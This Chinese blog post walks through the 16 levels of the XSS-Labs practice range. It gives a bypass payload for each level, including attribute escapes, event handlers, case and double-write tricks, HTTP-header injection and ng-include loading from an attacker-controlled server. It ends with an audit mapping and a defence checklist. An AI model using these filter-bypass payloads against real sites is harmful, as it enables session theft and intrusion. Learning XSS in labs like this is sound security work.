前阵子一个做后端的同事问我:XSS 不就是把 <script>alert(1)</script> 塞进输入框里吗?我二话不说,把 XSS LAB 的链接丢给他,让他从第 1 关一路打到第 16 关。16 关刷完,他给我发了条消息:原来同一段输入,放到 HTML 标签里、放到属性里、放到 HTTP 头里,结果完全不同,连引号闭合方式都有讲究。
这篇笔记就是按 1-16 关的推进顺序写的,每关会给出当时的绕过思路、最终 payload,以及每一关背后对应的真实漏洞模式。不管你是刚接触 XSS 的新手,还是在准备面试、做代码审计,这套靶场刷一遍,比看十篇理论文章都管用。
1. 开打之前:环境部署、工具清单与一套通用的通关方法论
1.1 靶场选择与本地部署
XSS-Labs 是 Web 安全圈里流传很广的一套 XSS 练习集成环境,一共 16 关,难度从“直接输出”到“多种过滤组合绕过”阶梯式上升。在线版和本地版都有,我建议有条件的话直接本地部署,因为出题逻辑在 PHP 源码里写得清清楚楚。遇到卡关时翻一眼源码,能立刻明白服务端到底过滤了什么,这比对着页面盲猜效率高太多了。
本地跑起来很简单,PHP 环境 + 一个 Web 服务即可。Windows 下用 phpStudy 或者直接装个 Docker,把靶场目录丢进 www 目录,访问 http://127.0.0.1 就能开打。我用的是 Docker 方式,一条命令起 Nginx + PHP 容器,隔离干净,测完就丢。部署完先别急着打,把浏览器 DevTools 打开,F12 的 Network 和 Elements 两个面板在 16 关里用到的次数最多。
工具方面,常规浏览器就够用,但最好额外装一个可以修改 HTTP Header 的工具。第 11-13 关分别需要改 Referer、User-Agent、Cookie,Burp Suite 当然最稳,不想用抓包工具的也可以用浏览器插件 ModHeader,实测也能过。另外建议装一个 HackBar 之类的 URL 参数重放插件,直接在插件里修改请求参数,省得在地址栏里反复手输。
提示:直接在浏览器地址栏输入 payload 时,部分字符会被浏览器自动进行 URL 编码,服务端解码后反而导致注入失败。用 HackBar 这类工具能精确控制请求内容,排查问题也更方便。
1.2 一套通用通关方法论:先找输出点,再猜过滤规则,最后构造 payload
刷靶场最容易犯的毛病是“一上来就试 payload”。如果不知道服务端把输入放在哪、做了什么处理、最后拼接到什么位置,试一百个 payload 也只是瞎猫碰死耗子。
我自己总结了一套四步循环,16 关都是这么过的:
- 探测输入点:哪些参数能控制?GET、POST、Referer、UA、Cookie,甚至隐藏的 input 参数都算。
- 推断输出上下文:输入被拼到了 HTML 标签内部、标签属性里、URL 里,还是 JS 代码里?这一步决定了拼接方式。
- 分析过滤规则:试试引号、尖括号、分号、括号,看哪些被转义、替换、删除,甚至直接返回 500。
- 构造 payload 验证:根据过滤规则选择闭合方式、事件属性、编码或双写技巧。
输出上下文是最重要的一个判断。同样是用户输入,拼到 <h1>用户输入</h1> 和拼到 <input value="用户输入">,攻击代码完全不一样。前者直接用 <script> 即可,后者必须先把 value=" 引号闭合掉,否则你的标签只是 value 的字符串,浏览器根本不会解析成 HTML 元素。
这套方法论一直延续到第 16 关,后面所有复杂 payload 都是这四个步骤组合出来的。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 1-5 关:反射型 XSS 的四个输出上下文,先从最简单的说起
2.1 第 1 关:完全无过滤时,理解“输入-输出”基线
第 1 关直接访问 URL 里的参数即可触发。经典 payload 是:
http复制?name=<script>alert(1)</script>
这一关没有任何过滤,参数 name 被拼接在页面的 <h1> 标签内。为什么 <script> 能弹窗?因为浏览器收到 HTML 后,解析器遇到 <script> 会将其视为标签,并把内容交给 JavaScript 引擎执行。服务端只是做了一次字符串拼接:echo "<h1>".$_GET['name']."</h1>";。
这一关看起来简单,但它是后面所有题目的基线。真实项目里这种场景对应的就是“直接把用户输入拼进 HTML 且未做任何编码”。现在大部分团队开发时都会用模板引擎自动转义,但如果有人在模板里用了 |safe、raw、{!! !!} 这类“禁用转义”的语法,这种漏洞马上复活。
2.2 第 2 关和第 3 关:属性内闭合,从“插入标签”升级为“逃逸属性”
第 2 关开始就不一样了。页面返回的源码大概是:
html复制<input name="keyword" value="用户输入">
输入被放在了双引号属性里。直接输入 <script>alert(1)</script> 是没用的,因为尖括号还在 value 字符串内部,浏览器不会把 <script> 当作标签解析。
正确做法是先闭合双引号和 input 标签,再插入新标签:
html复制"><script>alert(1)</script>
浏览器解析时,"> 先把 value 属性终结,同时把整个 input 标签闭合,后面的 <script> 就成了独立标签,正常执行。
第 3 关只是把双引号换成了单引号:
html复制<input name="keyword" value='用户输入'>
对应 payload:
html复制'><script>alert(1)</script>
两关背后是同一个思维:先判断属性边界,再用边界字符逃逸出去。这个“逃逸属性”的思路在真实项目中非常常见——后端在属性里做了 htmlspecialchars 转义但没转义引号,或者转了引号但没转义尖括号,都可能被 " onfocus= 这种形式利用。
注意:第 2、3 关也可以不用新标签,直接用事件属性,比如
" autofocus onfocus="alert(1)。事件属性是 XSS 后期最常用的武器,因为很多过滤器只拦<script>,不拦onclick、onerror这些属性。
2.3 第 4 关和第 5 关:过滤 <script> 之后,事件属性与标签变形开始登场
第 4 关把尖括号 < 和 > 直接过滤掉了。这就意味着你没法插入任何新标签,因为标签的本质就是尖括号包裹的名字。但属性内部的引号没被过滤。把 input 标签闭合后,直接给同一标签加事件属性:
html复制" autofocus onfocus="alert(1)
最终 HTML 变成:
html复制<input name="keyword" value="" autofocus onfocus="alert(1)">
autofocus 让输入框自动获得焦点,紧接着 onfocus 事件触发,弹窗执行。这个 payload 用得很巧:不需要新增标签,只需要在已知标签上加属性。
第 5 关过滤了 <script> 字符串,很多人一上来就懵,心想以后不能再用 <script> 了。但其实 XSS 能用的入口远不止 <script>。最简单的替代方案:
html复制<img src=x onerror=alert(1)>
img 标签的 src 指向一个不存在的资源 x,加载必然失败,失败后触发 onerror 事件,执行 alert(1)。这是能力最强的 payload 之一,几乎贯穿了后面所有关卡。
第 4、5 关的核心转变是:从“执行脚本标签”转向“触发事件”。这个转变在真实 XSS 利用中意义重大,因为事件属性数量极多,onerror、onload、onclick、onmouseover、onfocus、onblur、oninput 等等,黑名单很难覆盖完。
前 5 关做完,可以画个简单的对照:
| 关卡 | 输出位置 | 过滤规则 | 过关 payload |
|---|---|---|---|
| 1 | h1 标签内 | 无 | <script>alert(1)</script> |
| 2 | input 双引号属性 | 无 | "><script>alert(1)</script> |
| 3 | input 单引号属性 | 无 | '><script>alert(1)</script> |
| 4 | input 双引号属性 | 过滤 < > |
" autofocus onfocus="alert(1) |
| 5 | input 属性 | 过滤 <script> |
<img src=x onerror=alert(1)> |
3. 6-10 关:黑名单过滤与编码绕过,考验的是对浏览器解析机制的理解
3.1 第 6 关和第 7 关:大小写绕过与双写绕过,把“过滤逻辑”彻底搞清楚
第 6 关开始增加黑名单,onerror、src、script 甚至 <、> 都在过滤列表里。但过滤规则通常只匹配一种大小写形式,而 HTML 标签和属性名不区分大小写,于是绕过就走起了大小写混杂的路子:
html复制<SCRIPT>alert(1)</SCRIPT>
<Img SrC=x OnErRoR=alert(1)>
浏览器解析 SCRIPT、Img 和 OnErRoR 时完全正常。黑名单如果只匹配小写字符串,就拦不住这种变体。
第 7 关换了个思路,用双写绕过。过滤逻辑是 str_replace("script", "", $str),把 script 字符串删掉。但这样删除是没考虑“删除后有新字符串产生”的,payload 写成:
html复制<scr<script>ipt>alert(1)</scr</script>ipt>
过滤之后,里面的 script 被删掉,剩余的字符串拼起来刚好是:
html复制<script>alert(1)</script>
双写绕过的核心是:单次替换可以“越删越完整”。这种绕过方式在真实 WAF 里经常遇到,比如过滤 union select 时可以写成 ununionion select,删掉中间的 union 后剩余拼接成完整关键字。建议把这种思维记下来,后续很多规则都能复用。
3.2 第 8 关:HTML 实体编码与 javascript: 伪协议
第 8 关把 javascript: 关键字过滤成 jav_ascript:,冒号附近的字符被替换,普通的 <a href="javascript:alert(1)"> 打不通。但有一个细节:在 HTML 属性里,字符引用(实体编码)会在浏览器解析 URL 时被先解码。于是 payload 变成了:
html复制<a href="javascript:alert(1)">点我</a>
这里 a 是字母 a 的十六进制 HTML 实体。后端检查关键字时看到的是 javascript:,不包含完整的 javascript:,所以不会被替换;浏览器在解析 href 属性时把 a 解码成 a,最终 URL 还是 javascript:alert(1)。
这个原理跟 SQL 注入里的编码绕过非常像:过滤发生在服务端字符串层面,解析发生在浏览器层面,两者看到的不是同一个东西。用实体编码绕过的前提是“服务端没有二次解码”,如果服务端把输入做了 html_entity_decode 再过滤,这种绕过就不成立了。
3.3 第 9 关和第 10 关:URL 校验与隐藏参数,绕过不只是字符游戏
第 9 关的过滤规则是“输入内容必须包含 http://”,同时又会把 javascript: 过滤掉。这关的 trick 是利用注释符把校验用字符串和真正执行的代码隔开:
html复制javascript:alert(1)//http://
// 在 JavaScript 里是单行注释,后面的 http:// 只是注释内容,但足够满足“包含 http://”的检测条件。URL 解析时,整体作为一个 javascript: 伪协议被触发,alert(1) 执行。同样的思路也能用于事件属性:
html复制"><svg onload=alert(1)>//http://
第 10 关在页面上看不到输入框,打开源码才发现是一个 hidden 类型的 input:
html复制<input type="hidden" name="t_sort" value="用户输入">
既然是隐藏的,就不能直接输入。需要手动在 URL 参数里加上 t_sort。值同样在属性里,闭合双引号后用 type="text" 覆盖隐藏属性,再绑定事件:
html复制t_sort=" type="text" onmouseover="alert(1)"
最终渲染为:
html复制<input type="hidden" name="t_sort" value="" type="text" onmouseover="alert(1)">
注意,这里特意把 type 覆盖成 text,否则隐藏 input 在页面上不展示,鼠标事件根本没机会触发。这也算个小经验:遇到 hidden 参数时,别光想着把 payload 塞进去,先想想怎么让这个输入点“变得可交互”。
第 6-10 关整体难度上了一个台阶,放到真实场景中,它们分别对应:WAF 规则不完整、过滤函数使用不当、编码层次混淆、隐藏参数未纳入测试范围。这些点在后端代码审计时都能直接对上。
| 关卡 | 过滤规则 | 绕过思路 | 过关 payload |
|---|---|---|---|
| 6 | 过滤小写关键字 | 大小写混杂 | <SCRIPT>alert(1)</SCRIPT> 或 <Img SrC=x OnErRoR=alert(1)> |
| 7 | 删除 script 字符串 |
双写 | <scr<script>ipt>alert(1)</scr</script>ipt> |
| 8 | 过滤 javascript: |
HTML 实体编码 | <a href="javascript:alert(1)">点我</a> |
| 9 | 必须包含 http:// |
用注释符拼接 | javascript:alert(1)//http:// |
| 10 | hidden 参数 | 属性逃逸 + 覆盖 type | t_sort=" type="text" onmouseover="alert(1)" |
4. 11-13 关:HTTP 头里藏 XSS,把目光从 URL 参数上移开
4.1 用 Burp 改 Referer、User-Agent、Cookie
第 11、12、13 关不再从 URL 参数入手,而是把输入点切到了 HTTP 请求头。第 11 关读取的是 Referer 头,第 12 关是 User-Agent,第 13 关是 Cookie 中的某个字段值。它们的渲染位置通常是:
html复制<input name="t_ref" value="用户Referer">
这就有意思了。很多开发者会过滤 GET/POST 参数,但请求头“看起来不像业务参数”,容易漏掉。以第 12 关为例,浏览器默认的 User-Agent 是 Chrome 那一长串,直接访问页面根本看不出漏洞,必须用 Burp 拦截请求,把 UA 改成:
http复制User-Agent: " onfocus="alert(1)" autofocus="
改完继续发送,页面就会渲染出一个带 autofocus onfocus 的输入框,自动聚焦后弹窗。第 13 关同理,把 Cookie 里对应的字段值改成:
http复制Cookie: user=" onmouseover="alert(1)" type="text"
修改请求头时有个细节:payload 里的空格、引号要以原始形式发送,不要做 URL 编码,因为请求头本身就是纯文本,编码反而破坏了属性结构。
用 Burp 操作的步骤我简单记录一下:
- 打开 Burp Proxy,打开 Intercept 开关。
- 浏览器访问目标页面,请求被拦截。
- 在 Raw 面板里修改对应的 Header 字段值。
- 点击 Forward 放行,回到浏览器看弹窗。
4.2 头注入的现实意义:为什么这类漏洞常被忽略?
头注入在真实业务里其实很常见。最典型的场景是日志系统。很多应用会把 User-Agent、Referer 原样写入日志文件,然后管理员在后台的 Web 界面查看日志。如果后台没有对日志内容做转义,攻击者只需要在请求头里塞一段 <script>,管理员一打开日志页面,脚本就在他的浏览器里执行了。这就是“存储型 XSS”的一种变体,攻击链是:请求头 -> 服务端存储 -> 后台渲染 -> 管理员被攻击。
Cookie 注入也很容易被忽略。比如电商网站把用户偏好存进 Cookie,页面在某个区域输出 Cookie 值。攻击者可以自己修改 Cookie 里的字段,直接把 payload 注入进去。由于是“自己打自己”,很多人会误判为无害,但如果结合其他用户共享的数据池,比如评论、个人简介、统计系统,就会变成跨用户攻击。
这一关真正让我记住的是:做 XSS 测试时,输入面不能只盯着 URL 和表单,所有能控制的 HTTP 头、Cookie,甚至文件名、Host 头,都可能成为注入点。
5. 14-16 关:外部资源引入、模板指令与空白字符,最后一公里最难啃
5.1 第 14 关:URL 白名单下的外部加载思路
第 14 关把参数拼到了 <iframe src="参数"> 的 src 属性里,并且校验输入必须以 http:// 开头。直接写 <script> 没意义,因为 src 会被当成 URL 加载。这关有两条路:
第一条路:属性逃逸。 既然输出在 src 属性里,且尖括号没有被过滤,那就闭合掉属性再上事件:
html复制http://x/" onload="alert(1)
最终渲染成:
html复制<iframe src="http://x/" onload="alert(1)">
iframe 加载失败或加载完成后触发 onload,弹窗执行。
第二条路:外部加载。 在自建服务器上放一个 HTML 文件,内容只是 <script>alert(1)</script>,然后把参数填成自己服务器的完整 URL:
html复制http://your-vps.com/xss.html
浏览器加载 iframe 的时候,请求的是你的 HTML,里面的脚本自然执行。这种方法在真实渗透里很常用,因为很多时候目标环境不允许直接注入完整标签,但允许加载外部 URL。外部加载的关键是:你想执行的代码不需要出现在目标服务器上,只需要出现在攻击者可控的服务器上。这也解释了为什么很多 XSS 漏洞报告要求提供“自建域名”或“公网 VPS”。
5.2 第 15 关:AngularJS ng-include 模板注入,典型的 DOM 型 XSS
第 15 关的页面引入了 AngularJS,并且把参数拼进了一个指令属性,典型场景是:
html复制<div ng-app ng-include="用户输入"></div>
ng-include 是 AngularJS 的指令,会通过 XHR 加载指定的模板文件并编译进当前页面。这种漏洞是典型的 DOM 型 XSS,因为服务端只做了拼接,真正导致脚本执行的是前端框架在运行时把不可信内容当成了模板。
解法是构造一个完整的 URL,让 ng-include 去加载攻击者准备的 HTML:
text复制?src='http://your-vps.com/xss.html'
配合外部页面,弹窗完成。也有人直接利用 data URL:
text复制?src='data:text/html,<script>alert(1)</script>'
具体哪种能用,取决于目标浏览器的 CSP 策略,实测时多尝试几种。
DOM 型 XSS 与反射型 / 存储型有本质区别:它不经过服务端过滤,甚至可能在纯静态页面上存在。审计前端代码时,要特别留意 innerHTML、document.write、eval、ng-include、v-html、dangerouslySetInnerHTML、以及 jQuery 的 .html()、.append() 等方法。这些 API 的本质都是“让字符串变成 HTML”,一旦字符串里有用户可控内容,就是 DOM XSS 的温床。
5.3 第 16 关:空格被替换成 ,用 %0a 等空白字符绕过
第 16 关是整套靶场里最考细节的一关。过滤规则把空格替换成 ,作用是破坏多属性 payload:
html复制<img src=x onerror=alert(1)>
如果前后有空格,过滤后变成:
html复制<img src=x onerror=alert(1)>
浏览器解析时整个 img src=x onerror=alert(1) 会被当作一个不认识的标签名,根本不触发。看起来属性闭合和事件触发都没戏了。
但 HTML 规范里,标签属性之间的分隔符并不是只有空格一种。换行符、制表符、回车符在解析时都会被当作空白字符处理。于是把空格全部换成 %0a(换行)即可:
html复制<svg%0aonload=alert(1)>
请求里 %0a 经过 URL 解码后变成真正的换行符,服务端的空格过滤只针对空格字符,换行符不在替换范围内,命令就畅通了。类似的思路也可以扩展:%09(制表符)、%0d(回车)都能达到同样效果。
第 16 关给的真实项目启示是:黑名单过滤必须考虑“字符等价性”。空格、Tab、换行在 HTML 解析里等价;' 和 " 在某些上下文里等价;全角和半角在某些编码里等价。过滤器如果只处理最常用的字符,绕过只是时间问题。
6. 刷完 16 关之后:把套路映射到真实代码审计与防御
6.1 从关卡到漏洞模式的映射表
16 关刷完,别看只是“通关了”,其实它把 XSS 最常见的几种漏洞模式都演练了一遍。我习惯把每一关映射到代码层根因,方便做审计时快速定位:
| 关卡 | 对应漏洞根因 | 审计时看什么 |
|---|---|---|
| 1-3 | 用户输入直接拼入 HTML 标签/属性,未编码未转义 | 模板里有没有用 raw、` |
| 4-5 | 只过滤 <script>,未处理事件属性和伪协议 |
是否使用黑名单而不是上下文输出编码 |
| 6-7 | 单次字符串删除导致拼接绕过 | str_replace、preg_replace 处理用户输入 |
| 8 | 属性上下文中的 HTML 实体解码与过滤时机不一致 | 输出到 href、src 时是否做了协议白名单 |
| 9 | 用注释符拼接绕过字符串匹配 | 黑名单里是否检测了 //、/* 等注释字符 |
| 10 | 隐藏参数未纳入测试、属性逃逸 | 表单隐藏字段、服务端接收的未预期参数 |
| 11-13 | HTTP 头和 Cookie 内容被输出且未转义 | $_SERVER['HTTP_USER_AGENT']、$_SERVER['HTTP_REFERER']、$_COOKIE 的 echo |
| 14 | URL 白名单不完整,外部资源加载 | iframe、img、script 标签的 src 是否允许外部域名 |
| 15 | 前端框架指令把字符串当模板编译 | ng-include、v-html、dangerouslySetInnerHTML、jQuery .html() |
| 16 | 过滤器未处理 HTML 空白字符等价性 | 空格过滤、脏字符替换、WAF 规则是否覆盖 %0a、%09 |
这个表看着简单,但每一行都对应真实 CVE 里出现过的漏洞类型。审计时遇到可疑位置,直接按表里的关键词搜索,排查速度会快很多。
6.2 给防御方的反向清单
作为攻击方刷完 16 关,反过来想防御思路其实非常清晰。核心原则只有一条:不要依赖黑名单,永远基于“输出上下文”做编码。
- 用户输入放在 HTML 标签内容里:转义
& < > " '五个字符。 - 用户输入放在 HTML 标签属性里:属性值必须用引号包裹,并在输出时转义引号,同时避免把用户输入拼到
href、src这类 URL 属性。 - 用户输入放在 JavaScript 代码里:尽量用
textContent而不是innerHTML;如果需要拼接字符串进 JS,宁可改造成data-*属性再读取,也不要源码里直接拼。 - 协议白名单:
href、src里只允许http:和https:,从根本上阻断javascript:伪协议。 - CSP 是纵深防御,不是 Silver Bullet。
script-src 'self'能拦掉大部分外部加载型 payload,但内联事件属性onload在没加unsafe-inline时通常受限。即使有了 CSP,依然要修复根因。
HttpOnly 是个老生常谈的点,但它只能防 Cookie 被 document.cookie 读取,防不了 XSS 本身。第 15 关那种 DOM 型 XSS,即使服务端安全做得再好,只要前端用了 ng-include 或 v-html,一样能执行。
6.3 个人体验:刷完 16 关之后,建议你把这些 payload 整理成自己的字典
刷完这套题,我最想分享的一个习惯是:把每一关的 payload、过滤规则、绕过原因做成一张表,平时渗透测试时直接按“输出上下文”检索。
比如碰到一个目标,输入点输出在 value 属性里,黑名单里有 < 和 >,我下意识会去字典里找“属性逃逸 + 无尖括号”这一行,直接套 " autofocus onfocus="alert(1),再根据目标的过滤情况做微调。这比自己现场从零构造要快得多。
XSS-Labs 只是起点。之后可以继续刷 DVWA 的 XSS 模块,DVWA 里有反射型、存储型、DOM 型三种完整场景,还能切换安全等级,对理解“不同过滤强度下同一漏洞的变形”很有帮助。CTFHub 上有不少 XSS 实战题,难度更贴近比赛和面试。如果对模板注入感兴趣,Flask SSTI Lab 也可以一起玩,SSTI 和 XSS 本质上有共通之处——都是用户输入进入了某个“会被解析器执行”的上下文,只是一边是模板引擎,一边是 HTML 解析器。
刷到第 16 关的时候,其实我才真正认同那个后端同事后来发我的感慨:XSS 不是一个“标签”问题,而是“用户输入出现在哪个上下文”的问题。知道这句话,比记住多少个 payload 都值钱。
